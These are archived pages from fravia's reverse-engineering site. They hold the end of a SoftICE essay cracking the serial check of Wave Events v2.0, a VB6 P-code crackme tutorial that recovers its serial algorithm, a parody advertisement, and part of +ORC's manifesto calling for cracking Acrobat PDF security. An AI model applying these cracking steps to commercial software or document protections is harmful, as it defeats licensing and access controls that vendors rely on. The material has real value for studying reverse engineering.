Fld loads our converted input into ST(0) (I say now: our magic number). IF you step down a few instructions (13)
then you come to this code snippet:

014F:0F1044C2 FSTP REAL8 PTR [EBP+EAX] ;<-----


014F:0F1044C5 FSTSW AX
014F:0F1044C7 TEST AL,0D
014F:0F1044C9 JNZ 0F10A1A6

Fstp saves our magic number at memory location [EBP+EAX]. Ok now bpr at this location. Softice pops here:

014F:0F0FD990 FLD REAL8 PTR [EBP+EAX] ;<-----


014F:0F0FD993 XOR EAX,EAX
014F:0F0FD995 MOV AL,[ESI+02]

Our number is again loaded. Now step down a few lines and you find this:

014F:0F0FD623 FLD1 ;load 1 -> ST(0)


014F:0F0FD625 FLDCW WORD PTR [0F101FBA] ;load a value in the CWReg
014F:0F0FD62B FMULP ST(1),ST ;multiply 1*magic number
014F:0F0FD62D FSTSW AX ;saves the Status Word Reg
014F:0F0FD62F FLDCW WORD PTR [0F101FB8] ;load a value in the CWReg
014F:0F0FD635 XOR EAX,EAX
014F:0F0FD637 MOV AL,[ESI]

What is this? Ok some more coprocessor instructions. Fld1 is very simple. It loads only a "1.0" into the Reg at wich
the TOS points (ST0). Our magic number is now at ST(1)! Fldcw loads a value in the third (not explained by me)

http://www.instinct.org/fravia/wyatt_vb.htm (4 of 5) [2/7/2001 3:18:29 PM]


wyatt_vb.htm: Cracking Wave Events v2.0

"control word register". This is for this protection not very interesting. Fmulp ST(1),ST mutliply (our magic
number)*1. So it is not interesting too. Only the TOS is incremented and our magic number is now at ST(0). Now
some more steps down.

014F:0F0FEC1E FXCH ST(1) ;exchange ST(0)<--> ST(1)


014F:0F0FEC20 FCOMPP ;compares ST(0) with ST(1)
014F:0F0FEC22 FSTSW AX ;saves the Status Word Register
014F:0F0FEC24 TEST AL,0D
014F:0F0FEC26 JNZ 0F10A1A6

Here we are now at the final part. In ST(0) is our number and in ST(1) is some other number. FXCH ST(1)
exchange now ST(0) (our number) with ST(1) (a new number). The next instruction compares ST0 with ST1. The
last instruction saves now the status word register (the condition code is a part of it) It is needed later. Do you feel
it? You can't see it but I think you know that in ST0 is now the REAL serial number. Now there is a little problem.
Because we can't see the content of the copro registers under SoftICE. And if we could see it, the REAL serial is in
real8 format. So do you remember? I explaind some command to convert a real8 back to integer format. The
command is "Fistp". Short after FXCH we assemble some new instructions:
Fistp dword ptr ss:[esp+4]
Mov eax,dword ptr ss:[esp+4]
Ret
In EAX is now the real serial in normal integer format. Now you only have to convert this into decimal.

Clear all breakpoints, restart Wave Events and test your real serial. If you don't need Wave Events then erase it now.
You have done it all.

Wyatt'98 [wyatt_98(at)hotmail(point)com]
I wont even bother explaining you that you should BUY this program if you intend to use it for a longer period than
Ob duh the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell.
I hope you have learned something :) You see Visual Basic cracking is not difficult. You have to go only another
way. But at the end it is the same, mostly easy to crack, protection. So the conclusion is:
Final Notes

IF Visual Basic THEN cracked at once


You are deep inside fravia's page of reverse engineering, choose your way out:

way out Back to Project 8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/wyatt_vb.htm (5 of 5) [2/7/2001 3:18:29 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

VB6-Pcode Reversing
Cracking a VB6-Pcode Crackme Visual Basic

3 October 1999 by CyberBlade


slightly edited
Courtesy of Fravia's page of reverse engineering
by disavowed
Woa! It was indeed about time that somebody cared to write a
good essay about the most important visual basic functions (and
breakpoints) for reversing purposes!
As disavowed (ex-St0rmer) writes: "As for now, put on your
thinking caps, load msvbvm60.dll into Symbol Loader, and learn,
fra_00xx learn, learn!".
98xxxx Note also that this is one of those rare essays made in 'team
handle work' between cracker and protector, therefore you'll have the
1100 advantage of being able to "feel" both sides of the coin...
NA CyberBlade affirms that he is "not good at writing tutorials", but,
PC after readig this, I state that such an assertion is patently untrue.
C'mon, vbasic buffs, read this and enjoy!
Ah yes, you'll find inside the archive pgccrkme.zip the following
files: the crackme, the "keygen" and a list of VB6 exports (.txt)
CyberBlade used as a reference...
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

It's about time someone wrote a VB6-Pcode tutorial!! I'm proud to have a crackme I made as the target of
this fine tutorial. (And to settle the confusion, I changed my name from 'St0rmer' to 'disavowed' after
having made this crackme)

CyberBlade does an outstanding job of analyzing msvbvm60.dll (the VB6 "virtual machine" (not quite as
cool as it sounds)) and also the crackme itself, and how to follow exactly what's going on inside the
program by following the pcode.

Some great points made by CyberBlade:


Watch for 'xor eax, eax' in msvbvm60.dll, it means the jmp coming up will be a vb function! (F8!)
Play around inside the vb functions with softice! Find out what's going where, how the stack is being
utilized (esp), and how return values are derived.
Want to really REVERSE vb crap? Then reverse oleaut32.dll, where all the "real" calculations are being
made.

http://www.instinct.org/fravia/cb_vb6_1.htm (1 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

Not only did CyberBlade go to the trouble of writing this tutorial, he was also nice enough to include a
brute-force keygen including source code. With some effort, an actual "non-brute-force" keygen could be
made.

As our knowledge of VB reversing increases, our fear of seeing vb dll's in imports will hopefully
diminish. Next project: a true VB5/VB6 decompiler? As for now, put on your thinking caps, load
msvbvm60.dll into Symbol Loader, and learn, learn, learn! :)

- disavowed (disavow@optonline.net)

VB6-Pcode Reversing
Cracking a VB6-Pcode Crackme
Written by CyberBlade

Introduction
I'm not good at writing tutorials, but ACiD BuRN asked me to write one, so if you don't like it ACiD
BuRN is to blame =P

As I told you, this is a VB6 CrackMe compiled to P-Code. Many people think that it is very hard to crack
such CrackMes, but it isn't. All you need is a bit training and the knowledge of common VB breakpoints.
I suggest you print this text to have it handy while debugging with Soft-Ice.

The serial consists at least of 4 characters, the Name must have at least 6 characters.

Tools required
NuMega SmartCheck, Softice and (W32dasm 8.9)

Essay
Perform the following steps to reverse the protection mechanism:
Start the CrackMe and complete the Registartion Info:
I entered --> Name: CyberBlade | Code: 6786789
Now press "Ctrl + d" to get into Softice and set a breakpoint on hmemcpy. I assume you know how to do
that : ) If not go and ask somebody in the street. Then return to the CrackMe and push the "Check" -
Button.....B00M....What happened ?! We're in Softice : ). Now you can (believe it or not) remove the

http://www.instinct.org/fravia/cb_vb6_1.htm (2 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

breakpoint (bc *). Push F12 exactly 7 times, till you get into the core of MSVBVM60.DLL.
Now you can set some breakpoints. Having taken a closer look at the results of SmartCheck I found the
following breakpoints:
Msvbvm60!rtcRound <== used to round a number: Round(5.5) ==> 6

Msvbvm60!__vbaLenVar <== returns the length of a specified string: Len("Micro$oft") ==> 9

Msvbvm60!__vbaLenBstrVar <== returns the length of a specified string: Len("Micro$oft") ==>


9
Msvbvm60!rtcCos <== Returns a Double specifying the cosine of an angle: Cos(56)

Msvbvm60!rtcMidCharVar <== Returns a Variant (String) containing a specified number of


characters from a string: Mid("PGC",2,1) ==> "G"
*Msvbvm60!rtcAnsiValueBstr <== Returns the AscII code of a specified character: Asc("C") ==>
76
*Msvbvm60!__vbaVarAdd <== self-explanatory

*Msvbvm60!__vbaVarSub <== self- explanatory

*Msvbvm60!__vbaVarDiv <== self- explanatory

*Msvbvm60!__vbaVarMul <== self- explanatory

Breakpoints marked with a * are those I always set when cracking a VB program.
After having set all these breakpoints we can proceed...to the deep codewoods...Don't be afraid,
CyberBlade is with you hehehe =P
Turn the "floating point window" on, coz you will need it later. (wf)
It's important to know that you don't have to step into any calls except those that invoke the functions
(mostly "call ebx") and the "call eax" which takes you back to PGC Crackme. Trace through the code
(F10). Don't bother to understand any asm-instruction before reaching an area with a series of XOR
instructions (each one is followed by a "jmp dword ptr") making up a "XOR pattern".
:66105620 0FBF06 movsx eax, word ptr [esi]
:66105623 FF3428 push dword ptr [eax+ebp]
:66105626 33C0 xor eax, eax
:66105628 8A4602 mov al, byte ptr [esi+02]
:6610562B 83C603 add esi, 00000003
:6610562E FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66105635 0FBF06 movsx eax, word ptr [esi]
:66105638 FF3428 push dword ptr [eax+ebp]
:6610563B C7042800000000 mov dword ptr [eax+ebp], 00000000
:66105642 33C0 xor eax, eax
:66105644 8A4602 mov al, byte ptr [esi+02]
:66105647 83C603 add esi, 00000003
:6610564A FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66105651 0FBF06 movsx eax, word ptr [esi]

http://www.instinct.org/fravia/cb_vb6_1.htm (3 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

:66105654 D90428 fld dword ptr [eax+ebp]


:66105657 33C0 xor eax, eax
:66105659 8A4602 mov al, byte ptr [esi+02]
:6610565C 83C603 add esi, 00000003
:6610565F FF2485146D1066 jmp dword ptr [4*eax+66106D14]

Having reached the above location you can put breakpoints on the addresses 66105620; 66105635 and
66105651 to mark them for the run. It's always this pattern which leads you to the functions.
The jump at location 6610562E will take you to location 66106BC6 and as I mentioned before there's a
call to a function of VB6:
* Reference To: MSVBVM60.__vbaLenBstr
|
:66106BC6 E853A1F5FF call 66060D1E
Use F8 to trace into the __vbaLenBstr function:
Exported fn(): __vbaLenBstr - Ord:0147h
:66060D1E 8B442404 mov eax, dword ptr [esp+04]
:66060D22 85C0 test eax, eax
:66060D24 7405 je 66060D2B
:66060D26 8B40FC mov eax, dword ptr [eax-04]
:66060D29 D1E8 shr eax, 1
:66060D2B C20400 ret 0004
Trace to location 66060D22 and type "d eax" and you will see the Name entered in the data window, in
my case C.y.b.e.r.B.l.a.d.e (W.i.d.e.C.h.a.r.a.c.t.e.r.f.o.r.m.a.t). Leave that function, and type "? eax". A
number specifiing the length of the entered name, in my case "10", will be displayed.
Keep on tracing (F10) till you get to the "XOR pattern" again. Again it takes you to the function
__vbaLenBstr.This time it returns the length of the Code entered, in my case 6786789 with a length of
"7".
Now continue through the deep codewoods, notice that you will pass through a "XOR pattern" that
follows the one mentioned above. But this time no important function is called (__vbaI2var), so keep on
tracing......You reach again the above mentioned "XOR pattern" that calls a function. This time it is
calling "__vbaStrCat". It is used to concatenate two strings. In this case "CyberBlade & 6786789" results
in "CyberBlade6786789":
Exported fn(): __vbaStrCat - Ord:0195h
:66060B5F 55 push ebp
:66060B60 8BEC mov ebp, esp
:66060B62 8D4508 lea eax, dword ptr [ebp+08]
:66060B65 50 push eax
:66060B66 FF7508 push [ebp+08]
:66060B69 FF750C push [ebp+0C]

http://www.instinct.org/fravia/cb_vb6_1.htm (4 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

:66060B6C FF15E8061166 call dword ptr [661106E8] <== This is a call to OleAut32 where the "real
operations" are executed. Trace into this call to see how the strings are concatenated.
:66060B72 85C0 test eax, eax
:66060B74 0F8C2EEB0200 jl 6608F6A8
:66060B7A 8B4508 mov eax, dword ptr [ebp+08]
:66060B7D 5D pop ebp
:66060B7E C20800 ret 0008
I dunno why this is done. I didn't notice that this value is being used later. After I had successfully
cracked the CrackMe, the author (St0rmer) told me that he had included some misleading dummy
operations to confuse I don't know who, but not me ! : )
The above code sequence seems to be an example for this.
Knowing this you needn't worry about this function any longer. Ignore it and keep on cracking...
Again you pass the unimportant "XOR pattern". But then you get to the "XOR pattern" you've set your
breakpoints on. The __vbaLenBstr function is called. It returns the length of "CyberBlade". Performing
the same steps again it returns the length of our Code entered "6786789".
In the following I won't mention the "XOR patterns" any longer. I assume you've memorized it now. : )
I'll only show you the functions called by it:
__vbaStrCat ==> used to concatenate the strings "CyberBlade & 6786789" Why does this CrackMe do
everything twice ?! Strange CrackMe !
Carry on, trace through the Code and you will get to another "XOR pattern". You might think: "Oh no !
not again !", but this is what P-Code is like... : )
:66106BF9 33C0 xor eax, eax
:66106BFB 8A06 mov al, byte ptr [esi]
:66106BFD 46 inc esi
:66106BFE FF2485146D1066 jmp dword ptr [4*eax+66106D14]
:66106C05 33C0 xor eax, eax
:66106C07 8A06 mov al, byte ptr [esi]
:66106C09 46 inc esi
:66106C0A FF248514711066 jmp dword ptr [4*eax+66107114]
:66106C11 33C0 xor eax, eax
:66106C13 8A06 mov al, byte ptr [esi]
:66106C15 46 inc esi
:66106C16 FF248514751066 jmp dword ptr [4*eax+66107514]
:66106C1D 33C0 xor eax, eax
:66106C1F 8A06 mov al, byte ptr [esi]
:66106C21 46 inc esi
:66106C22 FF248514791066 jmp dword ptr [4*eax+66107914]
:66106C29 33C0 xor eax, eax
:66106C2B 8A06 mov al, byte ptr [esi]
:66106C2D 46 inc esi
:66106C2E FF2485147D1066 jmp dword ptr [4*eax+66107D14]

http://www.instinct.org/fravia/cb_vb6_1.htm (5 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

You can set breakpoints on the important jmps, so u won't miss them next time.
Okay, this "XOR pattern", well rather the jump will take you to the part of MSVBVM60.DLL where the
functions for mathematical operations like Division, Multiplication, And, Subtraction are called:
:66105F52 EB26 jmp 66105F7A
:66105F54 8D1D8B841066 lea ebx, dword ptr [6610848B] (__vbaVarSub)
:66105F5A EB1E jmp 66105F7A
:66105F5C 8D1DC4251066 lea ebx, dword ptr [661025C4] (__vbaVarMul)
:66105F62 EB16 jmp 66105F7A
:66105F64 8D1D42881066 lea ebx, dword ptr [66108842] (__vbaVarDiv)
:66105F6A EB0E jmp 66105F7A
:66105F6C 8D1DE5251066 lea ebx, dword ptr [661025E5] (__vbaVarIdiv)
:66105F72 EB06 jmp 66105F7A
:66105F74 8D1D842D1066 lea ebx, dword ptr [66102D84] (__vbaVarAnd)

:66105F7A 0FBF3E movsx edi, word ptr [esi]


:66105F7D 03FD add edi, ebp
:66105F7F 57 push edi
:66105F80 FFD3 call ebx <== trace into this call, if you want to see how the mathematical operations are
executed (it's the "call ebx" I mentioned before)
If you trace into the call (F8) you will find yourself in the "__vbaVarMul" function:

Exported fn(): __vbaVarMul - Ord:01DDh


:6610848B FF742404 push [esp+04]
:6610848F FF74240C push [esp+0C]
:66108493 FF742414 push [esp+14]
:66108497 FF152C001166 call dword ptr [6611002C] (OleAut32!VarMul) <== This is a call to
OleAut32, where the real operations are executed.
:6610849D 85C0 test eax, eax
:6610849F 0F8CE4420000 jl 6610C789
:661084A5 8B442404 mov eax, dword ptr [esp+04]
:661084A9 C20C00 ret 000C
Trace into the call, at location 653BDE6A you will see that how "2" is multiplicated with "0".
.--==[ Always keep in mind: Trace through the Msvbvm60 code, don't bother to understand anything, but
wake up, when you pass any of the Xor patterns I mentionend, there will mostly be jmps to locations
where the functions are called ! ]==--.
Okay, same thing as before, I will only show you the functions that are called...
__vbaLenBstr takes length of serial ' Len("6786789") ==> result: 7
__vbaVarSub Subtraction 7 - 0 ==> result: 0
OleAut32!VarCmp compare 7 with 0

http://www.instinct.org/fravia/cb_vb6_1.htm (6 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

__vbaLenBstr takes length of Name ' Len("CyberBlade") ==> result: 10


__vbaVarSub 10 - 1
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 2
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 3
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 4
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 5
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 6
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 7
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 8
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 9
__vbaLenBstr takes length of Name ==> result: 10
__vbaVarSub 10 - 10

**Note: I have only listed the important function (I didn't mention __vbaI2Var, __vbaVarAdd,
sometimes OleAut32!VarCmp)
No explanations will be given to those senseless function. But reversing the functions above is a good
exercise anyway : P
Trace on and be careful, not to miss the "call eax" which will take you back to PGC CrackMe. There you
will see jmps to many functions used by the CrackMe. You can trace over the call to the function
rtcMidCharVar. Now push "d eax" and you will see the last character of your Name (whatever you have
entered as "Name") in the data window. Follow the thread and you will see how the AscII value of this
character is taken. To give you a better feeling of the manipulations that are performed on the Name
entered I'll list them here:
1. Read the last character of the Name ==> "e"
2. Take the AscII value ==> 101
3. Add 6 to 101 ==> 107
4. (107)3 ==> 1225043
5. Divide this number by 10. 1225043 / 10 ==> 122504,3
6. Subtract 6 from the number. 122504,3 - 6 ==> 122498,3

http://www.instinct.org/fravia/cb_vb6_1.htm (7 of 11) [2/7/2001 3:18:37 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

7. Round the result Round(122498,3) ==>122498


**Note: Sorry for shortening this part so much, but the tutorial otherwise would exceeds 11 pages : ). If
something isn't understood, don't hesitate to contact me via e-mail.
These steps are performed on every character of the Name, remember to use the "floating point window",
while debugging the mathematical functions.
Performing these steps on every single character of the Name, beginning with the last will lead to the
following result:
CyberBlade 122498
CyberBlade 119096
CyberBlade 109267
CyberBlade 148148
CyberBlade 37219
CyberBlade 172794
CyberBlade 122498
CyberBlade 112480
CyberBlade 204832
CyberBlade 38896

The original VB-Code, that performs these operations:


dim KeyName(1 to 50)
For x = 1 To Len(NameText.Text)
KeyName(x) = Asc(NameText.Text)
KeyName(x) = Key(x) = Key(x) + 6
KeyName(x) = Key(x) ^ 3
KeyName(x) = Key(x) / 10
KeyName(x) = Key(x) - 6
KeyName(x) = Round(Key(x))
Next x
_____________
Here the manipulations on the Serial:

1. Take the AscII values of the key, beginning with the last one and stopping one before the first
character. ==> 57
2. Use the Cosine function on the AscII value ==> 0,89986682...

http://www.instinct.org/fravia/cb_vb6_1.htm (8 of 11) [2/7/2001 3:18:38 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

3. Multiply 0,89986682... with 600 ==> 539,9200961..


4. result = result + (PositionOfCharacterInString - 1)4 ==> 1835,9200961...
5. Round the result Round (1835,9200961...) ==> 1836
6. Take the absolute value of the number Abs(1836) ==> 1836

6786789 1836
6786789 1137
6786789 269
6786789 417
6786789 528
6786789 14

The original VB-Code, that performs these operations:


x = Len(NameText.Text)
Do While x > 1
x=x-1
KeySerial(x) = Asc(Mid(NameText, x + 1, 1))
KeySerial(x) = Cos(KeySerial(x))
KeySerial(x) = KeySerial(x) * 600
KeySerial(x) = KeySerial(x) + x^4
KeySerial(x) = Round(KeySerial(x))
KeySerial(x) = Abs(KeySerial(x))
Loop
______
Now these values are reduced to one:

ResultSerial = 0 - 14 + 528 - 417 + 269 - 1137 + 1836 = 1065


ResultSerial = 1065 - 6
ResultSerial = 1059
The original VB-Code, that performs these operations:
Plus = True

For x = 1 To (Len(CodeText) - 1)

http://www.instinct.org/fravia/cb_vb6_1.htm (9 of 11) [2/7/2001 3:18:38 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

Plus = Not Plus


If Plus = True Then
ResultSerial = ResultSerial + KeySerial(x)
Else
ResultSerial = ResultSerial - KeySerial(x)
End If
Next x
ResultSerial = ResultSerial - 6

Now, after the CrackMe has calculated the final result of the Serial generated by the entered Code, it
calculates the final result of the Number generated by the entered Name:
ResultName = 37219
ResultName = 37219 / 1000
ResultName = 37

The original VB-Code, that performs these operations:


ResultName = KeyName(Round(Len(Text1.Text) / 2))
ResultName = Round(ResultName / 1000)
While debugging all these operations I thought this CrackMe would never end... But then...
...these two values were compared. Yeahh !!!
If ResultName = ResultSerial (37 = 1059) means a correct Code was entered. Oh my god ! Now we have
to reverse all these operations in order to code a KeyGen. It would be easier to code a BruteForcer for
this CrackMe. In fact this is, what I did. You can find the Source Code (VB6 : ) ) in the Zip-file. It only
needs 20sec to find a correct serial. But this isn't a very elegant, so if you think you're good you can try to
code a KeyGen and send it to me : )

Final Notes
If I made mistakes and explained things wrongly then please mail me and I will correct my mistakes.
(Feel free to correct it yourself and send me the new version :-) )You can also mail me if there is
anything you are not clear about. Any comment is appreciated. Don't hesitate to send your remarks to:
CyberBlade@gmx.net

GREETS FLY OUT TO: --==[ ACiD BuRN, AfKayAs, Bjanes, DnNuke, Eternal Bliss, Fisch, Gizmo,
Joseph, MiZ, St0rmer, Torn@do, Tusk, Vladimir, Volatility, ^The Uplifter^ and The uncle ]==--
Sorry, if I forgot someone : (

http://www.instinct.org/fravia/cb_vb6_1.htm (10 of 11) [2/7/2001 3:18:38 PM]


cb_vb6_1.htm: VB6-Pcode Reversing

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/cb_vb6_1.htm (11 of 11) [2/7/2001 3:18:38 PM]


(Wink, June 51)

Getting code overbloatedness?


Working only in VisualBasic?
~
Grow More Virile CRACKER-PROGRAMMER attitudes
in 30 days or don't pay a cent!
Most BORING PROGRAMMERS could have saved their capacities, Had they ACTED in Time

"I recommend fravia because it's the best science can do to save your programming capacities"
Rocco, personal programmer of the Late THOMAS A. EDISON.

Once you notice symptoms of TOO MUCH CODE in your applications, itchy APIs, excessive messiness
or overbloatedness of your code...

ACT IMMEDIATELY!
Beware of too much code in your apps... it is a dangerous symptom!

Programming tone gone? DISCOURAGED? A subclinical deficiency may exist in your code or blood.
Science has the answer for BOTH!
Once you are programming with a Micro$oft's language it's TOO LATE! And nothing can help you, not
even FRAVIA!
So don't delay, delay may cost you your programming skills! Fravia keeps your sick programming style
free of itchy APIs, routines seborrhea, and stops the cocde overbloating that they cause.

Fravia KILLS the programming capabilities destroying germs:


(1) Pytirosporum microsoftii (2) Staphylococcus visualbasici (3) Codebacterium buildici.

Leading crackers feel that in killing these germs you rid yourself of the terrible programming
impoverishments that result in OVERBLOATEDNESS!

Fravia has been extremely successful with 'difficult' programming and code conditions! So restful is the

http://www.instinct.org/fravia/tryfravi.htm (1 of 3) [2/7/2001 3:18:47 PM]


(Wink, June 51)

new and specially 1998 improved amazing FRAVIA formula, that you'll grow a more Virile
CRACKER-PROGRAMMER attitudes in 30 days or you return the unused essays from fravia's site and
your money will be refunded!

Fravia is an exclusive, laboratory-created, formula. Used by Rocco, cracker of the Late Thomas A.
Edison.

DON'T DARE TO DELAY!


EMAIL COUPON and test Fravia at home for 10 days: FREE, at our expense!

------
GUARANTEE

If the Fravia code formula isn't better than any site or treatment
you have ever found or had, and if you don't grow a more Virile
CRACKER-PROGRAMMER attitude in 30 days, if it doesn't do for you what
it has done for others, if you are not delighted with it, return the
essays and your money will be refunded in full.

Fravia is guaranteed to both MEN and WOMEN!


------

SEND NO MONEY!
Fravia+ at http://fravia.org

Please rush me the fravia's essays treatment (90 days supply) in plain wrapper. I must be 100% satisfied
with the result of this treatment and I must grow a more Virile CRACKER-PROGRAMMER attitude in
30 days, or my money will be refunded upon return of the unused essays. I am and will be the sole judge.

Name....
Address...
City...
State...
-I understand that if I am not delighted with the new and improved Fravia code formula I can return the
unused essays after 10 days for full purchase price refund)
(c) fravia+ (msre) All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/tryfravi.htm (2 of 3) [2/7/2001 3:18:47 PM]


(Wink, June 51)

Back to my awards page Back to Project 8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/tryfravi.htm (3 of 3) [2/7/2001 3:18:47 PM]


newuni

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

+HCU 1998: A real university

by +ORC
(29 October 1997)

Greetings, new and old friends, I owe you some explanations.


And I have some work for you.

I'll tell you a (minor) secret: when I started publishing my tutorial


on Usenet, back in 1995, I did not know exactly where I would have landed.
My idea, to put it simply, was to take advantage of the might of Internet in
terms of anonymity, international dimension, easy access and "just in time"
modifiability, in order to spread a very simple message using (as major vector)
software cracking... this I deemed necessary coz verba movent, exempla trahunt.
My message was threefold:
- knowledge should from now on be free, we should not allow any barrier
whatsoever any more;
- everybody should not only be allowed, but also helped to develop his
capacities;
- the consum oriented society wherein we are compelled to live is NOT
free, nor correct, nor the best possible one, far from it. We must
help others, blinded by a well-concerted propaganda, to realise this.
If you examine these three sentences, you'll see that they support each other
and that these same principle have been, many centuries ago, at the basis
of the foundation of the "real" universities all over Europe.
The word "university" is in itself a sort of synonym for "international
dimension"... indeed knowledge does not care about national or physical frontiers,
nor worries about different social systems, racial or gender differences.
Language of course can (and did) represent a problem for the diffusion of
knowledge (and more generally for the relations between humans), yet the english
'pidgin' used to-day on the Web is a good (albeit emendable) solution. The fact
that many among us are NOT English native speakers seems fortunately to represent
a negligible problem nowadays.
Now, you see, in our to-day world knowledge is often (if wrongly) connected
to software. Software importance is due to its paramount importance for all
modern scientific disciplines. These are deemed important in order to create
(and sell) the incredible amount of useless gadgets that let this society
roll on towards its own well deserved doom.
Note -incidentally- that 'humanistic' disciplines are nowadays reserved
only to the very rich people, poor slaves are not supposed at all
to study greek or latin, or poetry or philosophy... vita sine litteris mors
est! Young 'university level' slaves are tricked into following scientific
'trends' which may be useful for a short span, but whose short life will
secure to the same gullible slaves an unemployed or under-employed miserable

http://www.instinct.org/fravia/newuni.htm (1 of 5) [2/7/2001 3:18:50 PM]


newuni

status later on. Or does anyone of you think that he could get teached in
some other 'real world' university 'trend' courses that what he is
learning here?.
Anyway I felt that it was pretty important to use in this context the only
scalpel I know of, since software and Internet are indeed a knowledge vector.
This scalpel of mine is (you have guessed it :=) a cracking attitude.
When I started the +HCU project, inside my "C" lessons, in April 1996, I
basically wanted to find some help: i.e. someone else capable of disclosing
our art, some fellow crackers capable of carrying on and ameliorate the
kind of work I was trying to do.
The "Instant Access" strainer was -alas!- much too hard for the "scene"
knowledge of that time (I believe that now many of you would crack that
crap much more easily). And I got very few answers. My luck was that I
have found very good students among those few.
Unfortunately in the last two semesters I was taken by other projects
(which have much more to do with 'history cracking' than with software
cracking as +gthorne knows :=) and I did not have the time to follow my
very good (and few) students.
Yet their work nonetheless (or may be for this very reason :=) went
beyond all my expectancies: fravia+ and +gthorne, with the help of +Sync,
did develop something that surpasses by far, for contents and available
free knowledge, anything I had ever seen on the net before.
A real "Academy" (as fravia+ has called it) of software deprotection
that serves already now as comprehensive reference for all 'protectionists'
and de-protectionists alike (and you should hear the deference and
admiration that has been expressed by some 'very high' software bonzes
for many of the essays that have been published there :=)
The "Microsoft" strainer of April 1997 inside my lesson 4.2 found a much
greater audience. Potius sero, quam nunquam. Inside our 1998 +HCU courses
we will have a dozen of students, clearly too many to be followed and tutored
as they deserve by me alone.
I will therefore create once more various 'units', but this time I'll
try to place inside each one of them some experienced crackers together
with some less experienced ones. each unit will be targeted towards some
specific project (yet of course anyone will be able to swap courses if
he likes so).
Next year we will therefore have a REAL university (or at least the
beginning of it). It will of course be completely free, for anybody that
has deserved it through is work.
I'll personally invite some "famous" crackers (friends of mine) to give
you "ad hoc" (or ad personam) specific courses... and during our 1998
academic year we will meet (figuratively speaking :=) some eminent "hacker"
personality too.
The "real" universities of yesterday have also been a cosmopolite meeting
point... people from many nations and languages and social situations have
brought there their personal contribution... this allowed formidable
progresses and an incredible evolution of the societies of those times.
Our society has come to an awful regression point. Useless nationalism
and petty provincial attitudes are rampant (even inside the 'real world'
universities :=( while at the same time few international commercial oligarchs
are dominating the whole world as if it where a conquered "Unicum".
Everything seems to be geared towards consume and money, as if the main
wish of humanity should consist in an 'hamster' life, hoarding useless
gadgets and munching them with full cheeks while loosing at the same time

http://www.instinct.org/fravia/newuni.htm (2 of 5) [2/7/2001 3:18:50 PM]


newuni

more and more all the precious attributes that form the "quality of life".
Software will be used in that sense too: giving them more and more
VIRTUAL life quality and hiddenly stealing the last real bits of it.

Our university will be really 'universal'... some of you may -already


now- have many friends from different continents, good friends
that they may never have met, but that they read and/or hear every day,
friends that 'in the real world' come in all varieties of colours,
religions, beliefs and costumes. It's the human race coming together
anew after dozen of thousands of years, something that our forefathers
could only have dreamed of. It's a vulcan we are sitting on, and we should
contribute to crack it open.
In fact for once in history our diversities make us STRONG instead than
feeble. They help us to develop even quicker than our masters. It's an old
lesson: when the provincialism of a closed society is broken,
when input and ideas can circulate freely (and the anonymity of the web
plays a very important catalitic role in all this) then an incredible
rhythm can be conveyed to the development of each one of us.
Let's also not forget that our very craving for knowledge, together with
our longing for justice, represents already now a considerable power, a
power that some of our enemies are beginning to feel. We are at the right
place in the right moment, don't forget it never.

I would like to try to perform an 'assessment' of the capabilities of


each one of you that goes byond the (easy) strainer that you have solved
this sommer. You are not compelled to take part to this 'project', and
since you passed the strainer you'll be admitted to the courses on the
first of January anyway, of course, yet if you only find the time, I
would like you all to partecipate, I would like more elements to 'group'
you for the courses.
Besides I believe that this project is interesting per se (I got the idea
for this project from lazy fravia+ :=)

The Acrobat project, preparation for the 1998 +HCU courses

ACROBAT FORMAT FILES security settings have not yet been cracked,
AFAIK, and therefore this makes the target a very nice (and very
interesting and very important) project to work on.
Acrobat format files are those *.pdf files in portable document
format that you can only read (yet not write) with the free Adobe
reader. The idea behind this being, as usual, common greed. If Adobe
had given to anybody reader and acrobat (writer) for free, this (very
good) format would have been by now the standard on the web.
Yet they just wanted to make money. Result: only few people are using
this. We'll change all this right now!

First (this should be easy if you work in group):


Defeat the security settings: a PDF document author can choose to
restrict access to a file by requiring an open password or
by restricting the use of certain tools and commands.
If a file requires an open password, you must enter the password to view
the file. When a file has restricted access, any restricted tools and
menu items are dimmed. We don't like 'restricted access' per definition,
so crack this :=)

http://www.instinct.org/fravia/newuni.htm (3 of 5) [2/7/2001 3:18:50 PM]


newuni

Second (this is a little more difficult, but you'll have great


